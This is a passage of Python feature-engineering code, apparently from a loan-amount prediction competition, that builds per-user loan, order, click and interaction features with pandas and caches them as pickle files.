df_loan['loan_123'] = df_loan['loan_123'].map({0:0,1:0,2:0,3:1})\n\n        del df_loan['month']\n        del df_loan['month_8']\n        del df_loan['month_9']\n        del df_loan['month_10']\n\n        df_loan['per_plannum'] = df_loan['plannum'] / df_loan['loan_months']\n        df_loan['per_times_loan'] = df_loan['loan_amount'] /df_loan['loan_months']\n\n        # 每月贷款金额是否超过初始额度\n        df_limit = gen_basic_user_feat()[['uid','limit']]\n        df_loan = pd.merge(df_loan,df_limit,how='left',on='uid')\n        df_loan['exceed_loan'] = df_loan['per_times_loan'] - df_loan['limit']\n        def _map_num(x):\n            if x >= 0:\n                return 1\n            else:\n                return 0\n        df_loan['exceed_loan'] = df_loan['exceed_loan'].map(lambda x : _map_num(x))\n        del df_loan['limit']\n        # df_loan['per_month_loan'] = df_loan['loan_amount'] /3\n\n        df_loan = pd.merge(df_loan,statistic_df[['uid','loan_min','loan_mean','loan_max','loan_sum','loan_std']], how='outer',on='uid')\n        df_loan = pd.merge(df_loan,plannum_df, how='left',on='uid')\n        df_loan = pd.merge(df_loan,loan_hour_df, how='left',on='uid')\n        df_loan = df_loan.fillna(0)\n        loan_cluster_label = user_cluster(df_loan,'train','loan')\n        df_loan['loan_cluster_label'] = loan_cluster_label\n        pickle.dump(df_loan, open(dump_path, 'wb'))\n    return df_loan\n\ndef gen_basic_order_feat():\n    dump_path = './tmp/train_order_feat.pkl'\n    if os.path.exists(dump_path):\n        df_order = pickle.load(open(dump_path,'rb'))\n    else:\n        df_order = pd.read_csv(t_order_file,header=0)\n        df_order['month'] = df_order['buy_time'].map(lambda x: conver_time(x))\n        df_order = df_order[df_order['month']!=11]\n        df_order['price'] = df_order['price'].map(lambda x: change_data(x))\n        df_order['discount'] = df_order['discount'].map(lambda x: change_data(x))\n        # 购买商品实际支付价格\n        df_order['real_price'] = df_order['price']*df_order['qty'] - df_order['discount']\n        df_order['real_price'][df_order['real_price']<0] = 0.\n\n        statistic_df = df_order.copy()\n        statistic_df = statistic_df.groupby(['uid','month'],as_index=False).sum()\n        statistic_df = statistic_df.pivot(index='uid', columns='month', values='real_price').reset_index()\n        statistic_df = statistic_df.fillna(0)\n        statistic_df['buy_min'] = statistic_df[[8,9,10]].apply(lambda x: x.min(),axis=1)\n        statistic_df['buy_max'] = statistic_df[[8,9,10]].apply(lambda x: x.max(),axis=1)\n        statistic_df['buy_sum'] = statistic_df[[8,9,10]].apply(lambda x: x.sum(),axis=1)\n        statistic_df['buy_mean'] = statistic_df[[8,9,10]].apply(lambda x: x.mean(),axis=1)\n        statistic_df['buy_std'] = statistic_df[[8,9,10]].apply(lambda x: x.std(),axis=1)\n        statistic_df['buy_std'] = statistic_df['buy_std'].map(lambda x : 1/(1+x))\n\n        df_order['buy_weights'] = df_order['buy_time'].map(lambda x: datetime.strptime('2016-11-1', '%Y-%m-%d') - datetime.strptime(x, '%Y-%m-%d'))\n        df_order['buy_weights'] = df_order['buy_weights'].map(lambda x: 1/(1e-6+x.days))\n        df_order['cost_weight'] = df_order['real_price'] * df_order['buy_weights']\n        df_order = df_order[['uid','buy_weights','cost_weight','real_price','discount']]\n        df_order = df_order.groupby(['uid'],as_index=False).sum()\n        # 购买商品的折扣率\n        df_order['dis_ratio'] = df_order['discount'] / (df_order['discount'] + df_order['real_price'])\n        del df_order['discount']\n\n        df_order = pd.merge(df_order,statistic_df[['uid','buy_min','buy_mean','buy_max','buy_sum','buy_std']], how='left',on='uid')\n        df_order = df_order.fillna(0)\n\n        order_cluster_label = user_cluster(df_order,'train','order')\n        df_order['order_cluster_label'] = order_cluster_label\n\n        pickle.dump(df_order, open(dump_path, 'wb'))\n    return df_order\n\ndef gen_filter_order_feat():\n    dump_path = './tmp/train_filter_order_feat.pkl'\n    if os.path.exists(dump_path):\n        df_filter_order = pickle.load(open(dump_path,'rb'))\n    else:\n        df_filter_order = pd.read_csv(t_order_file,header=0)\n        df_filter_order['month'] = df_filter_order['buy_time'].map(lambda x: conver_time(x))\n        df_filter_order = df_filter_order[df_filter_order['month']!=11]\n        df_filter_order['price'] = df_filter_order['price'].map(lambda x: change_data(x))\n        df_filter_order['discount'] = df_filter_order['discount'].map(lambda x: change_data(x))\n        # 购买商品实际支付价格\n        df_filter_order['real_price'] = df_filter_order['price']*df_filter_order['qty'] - df_filter_order['discount']\n        df_filter_order['real_price'][df_filter_order['real_price']<0] = 0.\n\n        # 购买行为在滑动时间窗口内的购买总额\n        df_filter_order['days'] = df_filter_order['buy_time'].map(lambda x: datetime.strptime('2016-11-1', '%Y-%m-%d') - datetime.strptime(x, '%Y-%m-%d'))\n        df_filter_order['days'] = df_filter_order['days'].map(lambda x: int(x.days))\n        uid = df_filter_order['uid'].unique()\n        exclu = [1]*len(uid)\n        days_df = pd.DataFrame({'uid':uid,'exclu':exclu})\n        for day in [1,2,3,5,7,9,15,20,25,30,35,40,45,50,60,70,80,90]:\n            df = df_filter_order[['uid','days','real_price']].copy()\n            day_df = map_day2period(df,'real_price', 'order', day)\n            days_df = pd.merge(days_df,day_df,how='left',on='uid')\n        days_df = days_df.fillna(0)\n        del days_df['exclu']\n        change_list = list(days_df.columns)\n        change_list.remove('uid')\n        for col in change_list:\n            days_df[col] = days_df[col].map(lambda x : math.log(x+1,5))\n        df_filter_order = days_df\n        pickle.dump(df_filter_order, open(dump_path, 'wb'))\n    return df_filter_order\n\ndef gen_basic_click_feat():\n    dump_path = './tmp/train_click_feat.pkl'\n    if os.path.exists(dump_path):\n        df_click = pickle.load(open(dump_path,'rb'))\n    else:\n        df_click = pd.read_csv(t_click_file,header=0)\n        df_click['month'] = df_click['click_time'].map(lambda x: conver_time(x))\n        df_click = df_click[df_click['month'] != 11]\n\n        # 点击时间特征分布\n        click_hour_df = df_click.copy()\n        click_hour_df['click_time_hours'] = click_hour_df['click_time'].map(lambda x: int(x.split(' ')[1].split(':')[0]))\n        click_hour_df['click_time_hours'] = click_hour_df['click_time_hours'].map(lambda x : map_hours2bucket('click',x))\n        click_hour_df = click_hour_df.groupby(['uid','click_time_hours'],as_index=False).count()\n        click_hour_df = click_hour_df.pivot(index='uid', columns='click_time_hours', values='click_time').reset_index()\n        click_hour_df = click_hour_df.fillna(0)\n        column_list = list(click_hour_df.columns)\n        column_list.remove('uid')\n        for fea in column_list:\n            click_hour_df[fea] = click_hour_df[fea].map(lambda x:math.log(x+1,5))\n\n        df_click['click_weights'] = df_click['click_time'].map(lambda x: datetime.strptime('2016-11-1 00:00:00', '%Y-%m-%d %H:%M:%S') - datetime.strptime(x, '%Y-%m-%d %H:%M:%S'))\n        df_click['click_weights'] = df_click['click_weights'].map(lambda x: 1/(1e-6+x.days))\n        del df_click['click_time']\n\n        pid_df = pd.get_dummies(df_click[\"pid\"], prefix=\"pid\")\n        param_df = pd.get_dummies(df_click[\"param\"], prefix=\"param\")\n        del df_click['pid']\n        del df_click['param']\n        df_click = pd.concat([df_click,pid_df,param_df],axis=1)\n\n        column_list = list(df_click.columns)\n        column_list.remove('uid')\n        column_list.remove('click_weights')\n        column_list.remove('month')\n        for fea in column_list:\n            df_click[fea] = df_click[fea]*df_click['click_weights']\n\n        df_click['click'] = 1\n        statistic_df = df_click.groupby(['uid','month'],as_index=False).sum().copy()\n        statistic_df = statistic_df.pivot(index='uid', columns='month', values='click').reset_index()\n        statistic_df = statistic_df.fillna(0)\n        statistic_df['click_min'] = statistic_df[[8,9,10]].apply(lambda x: x.min(),axis=1)\n        statistic_df['click_max'] = statistic_df[[8,9,10]].apply(lambda x: x.max(),axis=1)\n        statistic_df['click_sum'] = statistic_df[[8,9,10]].apply(lambda x: x.sum(),axis=1)\n        statistic_df['click_mean'] = statistic_df[[8,9,10]].apply(lambda x: x.mean(),axis=1)\n        statistic_df['click_std'] = statistic_df[[8,9,10]].apply(lambda x: x.std(),axis=1)\n        statistic_df['click_std'] = statistic_df['click_std'].map(lambda x : 1/(1+x))\n\n        del df_click['month']\n        del df_click['click']\n        df_click = df_click.groupby(['uid'],as_index=False).sum()\n        df_click = pd.merge(df_click,statistic_df[['uid','click_min','click_max','click_mean','click_sum','click_std']], how='left',on='uid')\n        df_click = pd.merge(df_click,click_hour_df,how='left',on='uid')\n\n        click_cluster_label = user_cluster(df_click,'train','click')\n        df_click['click_cluster_label'] = click_cluster_label\n\n        pickle.dump(df_click, open(dump_path, 'wb'))\n    return df_click\n\ndef gen_filter_click_feat():\n    dump_path = './tmp/train_filter_click_feat.pkl'\n    if os.path.exists(dump_path):\n        df_filter_click = pickle.load(open(dump_path,'rb'))\n    else:\n        df_filter_click = pd.read_csv(t_click_file,header=0)\n\n        df_filter_click['month'] = df_filter_click['click_time'].map(lambda x: conver_time(x))\n        df_filter_click = df_filter_click[df_filter_click['month'] != 11]\n        # 点击行为在滑动时间窗口内的点击次数\n        df_filter_click['days'] = df_filter_click['click_time'].map(lambda x: datetime.strptime('2016-11-1 00:00:00', '%Y-%m-%d %H:%M:%S') - datetime.strptime(x, '%Y-%m-%d %H:%M:%S'))\n        df_filter_click['days'] = df_filter_click['days'].map(lambda x: x.days)\n        df_filter_click['click_num'] = 1\n        uid = df_filter_click['uid'].unique()\n        exclu = [1]*len(uid)\n        days_df = pd.DataFrame({'uid':uid,'exclu':exclu})\n        for day in [1,2,3,5,7,9,15,20,25,30,35,40,45,50,60,70,80,90]:\n            df = df_filter_click[['uid','days','click_num']].copy()\n            day_df = map_day2period(df,'click_num', 'click', day)\n            days_df = pd.merge(days_df,day_df,how='left',on='uid')\n        days_df = days_df.fillna(0)\n        del days_df['exclu']\n\n        df_filter_click = days_df\n\n        change_list = list(df_filter_click.columns)\n        change_list.remove('uid')\n        for col in change_list:\n            df_filter_click[col] = df_filter_click[col].map(lambda x : math.log(x+1,5))\n\n        pickle.dump(df_filter_click,open(dump_path,'wb'))\n    return df_filter_click\n\ndef gen_train_test_user():\n    dump_path = './tmp/train_test_user.pkl'\n    if os.path.exists(dump_path):\n        train_test_user = pickle.load(open(dump_path, 'rb'))\n    else:\n        import random\n        df_loan = pd.read_csv(t_loan_file,header=0)\n        df_user = pd.read_csv(t_user_file,header=0)\n        df_loan['month'] = df_loan['loan_time'].map(lambda x: conver_time(x))\n        # 各月的贷款用户名单\n        month_8_uid = set(df_loan[df_loan['month'] == 8]['uid'])\n        month_9_uid = set(df_loan[df_loan['month'] == 9]['uid'])\n        month_10_uid = set(df_loan[df_loan['month'] == 10]['uid'])\n        month_11_uid = set(df_loan[df_loan['month'] == 11]['uid'])\n        none_user = set(df_user['uid']) - (month_11_uid | month_10_uid | month_9_uid | month_8_uid)\n\n        # 各月新增用户名单\n        new_loan_user_9 = month_9_uid - month_8_uid\n        new_loan_user_10 = month_10_uid - (month_9_uid | month_8_uid)\n        new_loan_user_11 = month_11_uid - (month_10_uid | month_9_uid | month_8_uid)\n        miss_user_11 = (month_10_uid | month_9_uid | month_8_uid) - month_11_uid\n        keep_user_11 = month_11_uid - new_loan_user_11\n\n        # xianxia训练集\n        model1_user = month_8_uid | month_9_uid | month_10_uid\n        model1_test_user1 = random.sample(list(keep_user_11), int(0.2*len(keep_user_11)))\n        model1_test_user = random.sample(list(miss_user_11), int(0.2*len(miss_user_11)))\n        model1_test_user.extend(model1_test_user1)\n        model1_train_user = list(model1_user - set(model1_test_user))\n\n        model2_user = set(df_user['uid']) - model1_user\n        model2_test_user1 = random.sample(list(none_user), int(0.2*len(none_user)))\n        model2_test_user = random.sample(list(new_loan_user_11), int(0.2*len(new_loan_user_11)))\n        model2_test_user.extend(model2_test_user1)\n        model2_train_user = list(model2_user - set(model2_test_user))\n\n        # 线上提交测试集\n        sub_model1_user = list(month_11_uid | month_9_uid | month_10_uid)\n        sub_model2_user = list(set(df_user['uid']) - set(sub_model1_user))\n\n        train_test_user = {'model1_test_user':model1_test_user,'model1_train_user':model1_train_user,\\\n                            'model2_test_user':model2_test_user,'model2_train_user':model2_train_user,\\\n                            'sub_model1_user':sub_model1_user,'sub_model2_user':sub_model2_user}\n\n        pickle.dump(train_test_user, open(dump_path, 'wb'))\n    return train_test_user\n\ndef gen_labels2():\n    dump_path = './tmp/train_label_clf.pkl'\n    if os.path.exists(dump_path):\n        df_label = pickle.load(open(dump_path,'rb'))\n    else:\n        user_dict = gen_user_dict()\n        new_loan_user_11 = list(user_dict['new_loan_user_11'])\n        class1 = [1] * len(new_loan_user_11)\n        miss_user_11 = list(user_dict['miss_user_11'])\n        class2 = [2] * len(miss_user_11)\n        keep_user_11 = list(user_dict['keep_user_11'])\n        class3 = [3] * len(keep_user_11)\n\n        new_loan_user_11.extend(miss_user_11)\n        new_loan_user_11.extend(keep_user_11)\n\n        class1.extend(class2)\n        class1.extend(class3)\n\n        data = {'uid':new_loan_user_11, 'label2':class1}\n        df_label = pd.DataFrame(data)\n        pickle.dump(df_label, open(dump_path, 'wb'))\n        print(df_label['label2'].value_counts())\n    return  df_label\n\ndef gen_labels():\n    dump_path = './tmp/train_label_reg.pkl'\n    if os.path.exists(dump_path):\n        df_label = pickle.load(open(dump_path,'rb'))\n    else:\n        df_label = pd.read_csv(t_loan_sum_file,header=0)\n        df_label['label'] = df_label['loan_sum']\n        df_label = df_label[['uid','label']]\n        pickle.dump(df_label, open(dump_path, 'wb'))\n        print(df_label['label'].describe())\n    return  df_label\n\ndef cal_percent(list_num):\n    list_num = sorted(list_num)\n    num_distant = list_num[-1] - list_num[0]\n    four_1 = 0.25 * num_distant + list_num[0]\n    four_2 = 0.50 * num_distant + list_num[0]\n    four_3 = 0.75 * num_distant + list_num[0]\n    return four_1,four_2,four_3\n\ndef map_fea(four_1,four_2,four_3,feature):\n    if feature <= four_1:\n        return 1\n    elif feature <= four_2:\n        return 2\n    elif feature <= four_3:\n        return 3\n    else:\n        return 4\n\ndef gen_union_feat():\n    train_dump_path = './tmp/train_union_feat.pkl'\n    test_dump_path = './tmp/test_union_feat.pkl'\n    if os.path.exists(train_dump_path):\n        train_union_feat = pickle.load(open(train_dump_path,'rb'))\n        test_union_feat = pickle.load(open(test_dump_path,'rb'))\n    else:\n        df_loan = pd.read_csv(t_loan_file,header=0)\n        df_loan['month'] = df_loan['loan_time'].map(lambda x: conver_time(x))\n        df_loan['loan_amount'] = df_loan['loan_amount'].map(lambda x: round(change_data(x)))\n        df_loan = df_loan.groupby(['uid','month'],as_index=False).sum()\n\n        df_order = pd.read_csv(t_order_file,header=0)\n        df_order['month'] = df_order['buy_time'].map(lambda x: conver_time(x))\n        df_order['price'] = df_order['price'].map(lambda x: change_data(x))\n        df_order['discount'] = df_order['discount'].map(lambda x: change_data(x))\n        df_order['real_price'] = df_order['price']*df_order['qty'] - df_order['discount']\n        df_order['real_price'][df_order['real_price']<0] = 0.\n        df_order = df_order.groupby(['uid','month'],as_index=False).sum()\n\n        df_click = pd.read_csv(t_click_file,header=0)\n        df_click['month'] = df_click['click_time'].map(lambda x: conver_time(x))\n        df_click = df_click.groupby(['uid','month'],as_index=False).count()\n\n        df_loan= df_loan[['uid','month','loan_amount']]\n        df_order = df_order[['uid','month','real_price']]\n        df_click = df_click[['uid','month','click_time']]\n        union_df = pd.merge(df_loan,df_order,how='outer',on=['uid','month'])\n        union_df = pd.merge(union_df,df_click,how='outer',on=['uid','month'])\n        union_df = union_df.fillna(0)\n\n        change_list = ['loan_amount','real_price','click_time']\n        for col in change_list:\n            union_df[col] = union_df[col].map(lambda x : math.log(x+1,5))\n\n        four_1,four_2,four_3 = cal_percent(union_df['loan_amount'])\n        union_df['loan_amount'] = union_df['loan_amount'].map(lambda x :map_fea(four_1,four_2,four_3,x))\n\n        four_1,four_2,four_3 = cal_percent(union_df['real_price'])\n        union_df['real_price'] = union_df['real_price'].map(lambda x :map_fea(four_1,four_2,four_3,x))\n\n        four_1,four_2,four_3 = cal_percent(union_df['click_time'])\n        union_df['click_time'] = union_df['click_time'].map(lambda x :map_fea(four_1,four_2,four_3,x))\n\n        union_df = union_df.pivot(index='uid', columns='month').reset_index()\n        union_df = union_df.fillna(0)\n\n        train_df = union_df.copy()\n        train_df['lp_first'] = train_df['loan_amount'][8]+train_df['real_price'][8]\n        train_df['lc_first'] = train_df['loan_amount'][8]+train_df['click_time'][8]\n        train_df['pc_first'] = train_df['real_price'][8]+train_df['click_time'][8]\n        train_df['lpc_first'] = train_df['loan_amount'][8]+train_df['real_price'][8]+train_df['click_time'][8]\n\n        train_df['lp_two'] = train_df['loan_amount'][9]+train_df['real_price'][9]\n        train_df['lc_two'] = train_df['loan_amount'][9]+train_df['click_time'][9]\n        train_df['pc_two'] = train_df['real_price'][9]+train_df['click_time'][9]\n        train_df['lpc_two'] = train_df['loan_amount'][9]+train_df['real_price'][9]+train_df['click_time'][9]\n\n        train_df['lp_three'] = train_df['loan_amount'][10]+train_df['real_price'][10]\n        train_df['lc_three'] = train_df['loan_amount'][10]+train_df['click_time'][10]\n        train_df['pc_three'] = train_df['real_price'][10]+train_df['click_time'][10]\n        train_df['lpc_three'] = train_df['loan_amount'][10]+train_df['real_price'][10]+train_df['click_time'][10]\n        train_df = train_df[['uid','lp_first','lc_first','pc_first','lpc_first','lp_two','lc_two','pc_two','lpc_two','lp_three','lc_three','pc_three','lpc_three']]\n        columns = ['uid','lp_first','lc_first','pc_first','lpc_first','lp_two','lc_two','pc_two','lpc_two','lp_three','lc_three','pc_three','lpc_three']\n        train_union_feat = pd.DataFrame(train_df.values,columns = columns)\n        columns.remove('uid')\n        train_union_feat['union_min'] = train_union_feat[columns].apply(lambda x: x.min(),axis=1)\n        train_union_feat['union_max'] = train_union_feat[columns].apply(lambda x: x.max(),axis=1)\n        train_union_feat['union_sum'] = train_union_feat[columns].apply(lambda x: x.sum(),axis=1)\n        train_union_feat['union_mean'] = train_union_feat[columns].apply(lambda x: x.mean(),axis=1)\n        train_union_feat['union_std'] = train_union_feat[columns].apply(lambda x: x.std(),axis=1)\n        train_union_feat['union_std'] = train_union_feat['union_std'].map(lambda x : 1/(1+x))\n        # action_df = pd.get_dummies(train_union_feat[['lp_first','lc_first','pc_first','lpc_first','lp_two','lc_two','pc_two','lpc_two','lp_three','lc_three','pc_three','lpc_three']])\n        # train_union_feat = pd.concat([train_union_feat['uid'],action_df],axis=1)\n\n        test_df = union_df.copy()\n        test_df['lp_first'] = test_df['loan_amount'][9]+test_df['real_price'][9]\n        test_df['lc_first'] = test_df['loan_amount'][9]+test_df['click_time'][9]\n        test_df['pc_first'] = test_df['real_price'][9]+test_df['click_time'][9]\n        test_df['lpc_first'] = test_df['loan_amount'][9]+test_df['real_price'][9]+test_df['click_time'][9]\n\n        test_df['lp_two'] = test_df['loan_amount'][10]+test_df['real_price'][10]\n        test_df['lc_two'] = test_df['loan_amount'][10]+test_df['click_time'][10]\n        test_df['pc_two'] = test_df['real_price'][10]+test_df['click_time'][10]\n        test_df['lpc_two'] = test_df['loan_amount'][10]+test_df['real_price'][10]+test_df['click_time'][10]\n\n        test_df['lp_three'] = test_df['loan_amount'][11]+test_df['real_price'][11]\n        test_df['lc_three'] = test_df['loan_amount'][11]+test_df['click_time'][11]\n        test_df['pc_three'] = test_df['real_price'][11]+test_df['click_time'][11]\n        test_df['lpc_three'] = test_df['loan_amount'][11]+test_df['real_price'][11]+test_df['click_time'][11]\n        test_df = test_df[['uid','lp_first','lc_first','pc_first','lpc_first','lp_two','lc_two','pc_two','lpc_two','lp_three','lc_three','pc_three','lpc_three']]\n        columns = ['uid','lp_first','lc_first','pc_first','lpc_first','lp_two','lc_two','pc_two','lpc_two','lp_three','lc_three','pc_three','lpc_three']\n        test_union_feat = pd.DataFrame(test_df.values,columns = columns)\n        columns.remove('uid')\n        test_union_feat['union_min'] = test_union_feat[columns].apply(lambda x: x.min(),axis=1)\n        test_union_feat['union_max'] = test_union_feat[columns].apply(lambda x: x.max(),axis=1)\n        test_union_feat['union_sum'] = test_union_feat[columns].apply(lambda x: x.sum(),axis=1)\n        test_union_feat['union_mean'] = test_union_feat[columns].apply(lambda x: x.mean(),axis=1)\n        test_union_feat['union_std'] = test_union_feat[columns].apply(lambda x: x.std(),axis=1)\n        test_union_feat['union_std'] = test_union_feat['union_std'].map(lambda x : 1/(1+x))\n        # action_df = pd.get_dummies(test_union_feat[['lp_first','lc_first','pc_first','lpc_first','lp_two','lc_two','pc_two','lpc_two','lp_three','lc_three','pc_three','lpc_three']])\n        # test_union_feat = pd.concat([test_union_feat['uid'],action_df],axis=1)\n\n        # train_feat = set(train_union_feat.columns)\n        # test_feat = set(test_union_feat.columns)\n        # comm_feat = train_feat & test_feat\n        # comm_feat = sorted(list(comm_feat))\n\n        # # map_comm_feat2num = {feat:i for feat,i in enumerate(comm_feat)}\n\n        # train_union_feat = train_union_feat[comm_feat]\n        # test_union_feat = test_union_feat[comm_feat]\n\n        pickle.dump(train_union_feat, open(train_dump_path, 'wb'))\n        pickle.dump(test_union_feat, open(test_dump_path, 'wb'))\n\n    return train_union_feat,test_union_feat\n\ndef gen_interactive_feat():\n    dump_path = './tmp/train_interactive_feat.pkl'\n    if os.path.exists(dump_path):\n        train_interactive_feat = pickle.load(open(dump_path,'rb'))\n    else:\n        df_loan_ori = pd.read_csv(t_loan_file,header=0)\n        df_loan_ori['month'] = df_loan_ori['loan_time'].map(lambda x: conver_time(x))\n        df_loan_ori = df_loan_ori[df_loan_ori['month'] != 11]\n        df_loan_ori['days'] = df_loan_ori['loan_time'].map(lambda x: datetime.strptime('2016-11-1 00:00:00', '%Y-%m-%d %H:%M:%S') - datetime.strptime(x, '%Y-%m-%d %H:%M:%S'))\n        df_loan_ori['days'] = df_loan_ori['days'].map(lambda x: int(x.days))\n        df_loan_ori['loan_amount'] = df_loan_ori['loan_amount'].map(lambda x: round(change_data(x)))\n\n        df_order_ori = pd.read_csv(t_order_file,header=0)\n        df_order_ori['month'] = df_order_ori['buy_time'].map(lambda x: conver_time(x))\n        df_order_ori = df_order_ori[df_order_ori['month'] != 11]\n        df_order_ori['days'] = df_order_ori['buy_time'].map(lambda x: datetime.strptime('2016-11-1', '%Y-%m-%d') - datetime.strptime(x, '%Y-%m-%d'))\n        df_order_ori['days'] = df_order_ori['days'].map(lambda x: int(x.days))\n        df_order_ori['price'] = df_order_ori['price'].map(lambda x: change_data(x))\n        df_order_ori['discount'] = df_order_ori['discount'].map(lambda x: change_data(x))\n        df_order_ori['real_price'] = df_order_ori['price']*df_order_ori['qty'] - df_order_ori['discount']\n        df_order_ori['real_price'][df_order_ori['real_price']<0] = 0.\n\n        df_click_ori = pd.read_csv(t_click_file,header=0)\n        df_click_ori['month'] = df_click_ori['click_time'].map(lambda x: conver_time(x))\n        df_click_ori = df_click_ori[df_click_ori['month'] != 11]\n        df_click_ori['days'] = df_click_ori['click_time'].map(lambda x: datetime.strptime('2016-11-1 00:00:00', '%Y-%m-%d %H:%M:%S') - datetime.strptime(x, '%Y-%m-%d %H:%M:%S'))\n        df_click_ori['days'] = df_click_ori['days'].map(lambda x: int(x.days))\n\n        df_loan= df_loan_ori[['uid','month','loan_amount']].copy()\n        df_loan = df_loan.groupby(['uid','month'],as_index=False).sum()\n        df_loan['loan_amount'] = df_loan['loan_amount'].map(lambda x : math.log(x+1,5))\n        df_loan = df_loan.pivot(index='uid', columns='month').reset_index()\n        df_loan.fillna(0,inplace=True)\n\n        df_order = df_order_ori[['uid','month','real_price']].copy()\n        df_order = df_order.groupby(['uid','month'],as_index=False).sum()\n        df_order['real_price'] = df_order['real_price'].map(lambda x : math.log(x+1,5))\n        df_order = df_order.pivot(index='uid', columns='month').reset_index()\n        df_order.fillna(0,inplace=True)\n\n        df_click = df_click_ori[['uid','month','click_time']].copy()\n        df_click = df_click.groupby(['uid','month'],as_index=False).count()\n        df_click['click_time'] = df_click['click_time'].map(lambda x : math.log(x+1,5))\n        df_click = df_click.pivot(index='uid', columns='month').reset_index()\n        df_click.fillna(0,inplace=True)\n\n        loan_order_commom_user = sorted(list(set(df_loan['uid']) & set(df_order['uid'])))\n        click_order_commom_user = sorted(list(set(df_click['uid']) & set(df_order['uid'])))\n        loan_click_commom_user = sorted(list(set(df_loan['uid']) & set(df_click['uid'])))\n        loan_click_order_commom_user = sorted(list(set(df_loan['uid']) & set(df_click['uid']) & set(df_order['uid'])))\n\n        loan_ = df_loan[df_loan.uid.isin(loan_order_commom_user)].sort_values(by='uid')\n        order_ = df_order[df_order.uid.isin(loan_order_commom_user)].sort_values(by='uid')\n        loan_order = loan_.loc[:,[False,True,True,True]].values * order_.loc[:,[False,True,True,True]].values\n        loan_order = np.c_[np.array(loan_['uid']),loan_order]\n        loan_order = pd.DataFrame(loan_order,columns=['uid','lo_1','lo_2','lo_3'])\n\n        click_ = df_click[df_click.uid.isin(click_order_commom_user)].sort_values(by='uid')\n        order_ = df_order[df_order.uid.isin(click_order_commom_user)].sort_values(by='uid')\n        clcik_order = click_.loc[:,[False,True,True,True]].values * order_.loc[:,[False,True,True,True]].values\n        clcik_order = np.c_[np.array(click_['uid']),clcik_order]\n        clcik_order = pd.DataFrame(clcik_order,columns=['uid','co_1','co_2','co_3'])\n\n        loan_ = df_loan[df_loan.uid.isin(loan_click_commom_user)].sort_values(by='uid')\n        click_ = df_click[df_click.uid.isin(loan_click_commom_user)].sort_values(by='uid')\n        loan_click = loan_.loc[:,[False,True,True,True]].values * click_.loc[:,[False,True,True,True]].values\n        loan_click = np.c_[np.array(loan_['uid']),loan_click]\n        loan_click = pd.DataFrame(loan_click,columns=['uid','lc_1','lc_2','lc_3'])\n\n        loan_ = df_loan[df_loan.uid.isin(loan_click_order_commom_user)].sort_values(by='uid')\n        click_ = df_click[df_click.uid.isin(loan_click_order_commom_user)].sort_values(by='uid')\n        order_ = df_order[df_order.uid.isin(loan_click_order_commom_user)].sort_values(by='uid')\n        loan_click_order = loan_.loc[:,[False,True,True,True]].values * click_.loc[:,[False,True,True,True]].values * order_.loc[:,[False,True,True,True]].values\n        loan_click_order = np.c_[np.array(loan_['uid']),loan_click_order]\n        loan_click_order = pd.DataFrame(loan_click_order,columns=['uid','lco_1','lco_2','lco_3'])\n\n        train_interactive_feat = pd.merge(loan_order,clcik_order,how='outer',on='uid')\n        train_interactive_feat = pd.merge(train_interactive_feat,loan_click,how='outer',on='uid')\n        train_interactive_feat = pd.merge(train_interactive_feat,loan_click_order,how='outer',on='uid')\n        train_interactive_feat = train_interactive_feat.fillna(0)\n\n        feature = list(train_interactive_feat.columns)\n        feature.remove('uid')\n        train_interactive_feat['interactive_min'] = train_interactive_feat[feature].apply(lambda x: x.min(),axis=1)\n        train_interactive_feat['interactive_max'] = train_interactive_feat[feature].apply(lambda x: x.max(),axis=1)\n        train_interactive_feat['interactive_sum'] = train_interactive_feat[feature].apply(lambda x: x.sum(),axis=1)\n        train_interactive_feat['interactive_mean'] = train_interactive_feat[feature].apply(lambda x: x.mean(),axis=1)\n        train_interactive_feat['interactive_std'] = train_interactive_feat[feature].apply(lambda x: x.std(),axis=1)\n        train_interactive_feat['interactive_std'] = train_interactive_feat['interactive_std'].map(lambda x : 1/(1+x))\n\n\n        weeks_df = map_day2week(df_loan_ori.copy(),'loan_amount','loan')\n        loan_weeks_df = weeks_df.copy()\n        loan_weeks_df['loan_weeks_min'] = loan_weeks_df[['loan_week1','loan_week2','loan_week3','loan_week4']].apply(lambda x: x.min(),axis=1)\n        loan_weeks_df['loan_weeks_max'] = loan_weeks_df[['loan_week1','loan_week2','loan_week3','loan_week4']].apply(lambda x: x.max(),axis=1)\n        loan_weeks_df['loan_weeks_sum'] = loan_weeks_df[['loan_week1','loan_week2','loan_week3','loan_week4']].apply(lambda x: x.sum(),axis=1)\n        loan_weeks_df['loan_weeks_mean'] = loan_weeks_df[['loan_week1','loan_week2','loan_week3','loan_week4']].apply(lambda x: x.mean(),axis=1)\n        loan_weeks_df['loan_weeks_std'] = loan_weeks_df[['loan_week1','loan_week2','loan_week3','loan_week4']].apply(lambda x: x.std(),axis=1)\n        loan_weeks_df['loan_weeks_std'] = loan_weeks_df['loan_weeks_std'].map(lambda x : 1/(1+x))\n        loan_weeks_df = loan_weeks_df[['uid','loan_weeks_min','loan_weeks_max','loan_weeks_sum','loan_weeks_mean','loan_weeks_std']]\n\n        weeks_df1 = map_day2week(df_order_ori.copy(),'real_price','order')\n        order_weeks_df = weeks_df1.copy()\n        order_weeks_df['order_weeks_min'] = order_weeks_df[['order_week1','order_week2','order_week3','order_week4']].apply(lambda x: x.min(),axis=1)\n        order_weeks_df['order_weeks_max'] = order_weeks_df[['order_week1','order_week2','order_week3','order_week4']].apply(lambda x: x.max(),axis=1)\n        order_weeks_df['order_weeks_sum'] = order_weeks_df[['order_week1','order_week2','order_week3','order_week4']].apply(lambda x: x.sum(),axis=1)\n        order_weeks_df['order_weeks_mean'] = order_weeks_df[['order_week1','order_week2','order_week3','order_week4']].apply(lambda x: x.mean(),axis=1)\n        order_weeks_df['order_weeks_std'] = order_weeks_df[['order_week1','order_week2','order_week3','order_week4']].apply(lambda x: x.std(),axis=1)\n        order_weeks_df['order_weeks_std'] = order_weeks_df['order_weeks_std'].map(lambda x : 1/(1+x))\n        order_weeks_df = order_weeks_df[['uid','order_weeks_min','order_weeks_max','order_weeks_sum','order_weeks_mean','order_weeks_std']]\n\n        df_click_ori['ctime'] = 1\n        weeks_df2 = map_day2week(df_click_ori.copy(),'ctime','click')\n        click_weeks_df = weeks_df2.copy()\n        click_weeks_df['click_weeks_min'] = click_weeks_df[['click_week1','click_week2','click_week3','click_week4']].apply(lambda x: x.min(),axis=1)\n        click_weeks_df['click_weeks_max'] = click_weeks_df[['click_week1','click_week2','click_week3','click_week4']].apply(lambda x: x.max(),axis=1)\n        click_weeks_df['click_weeks_sum'] = click_weeks_df[['click_week1','click_week2','click_week3','click_week4']].apply(lambda x: 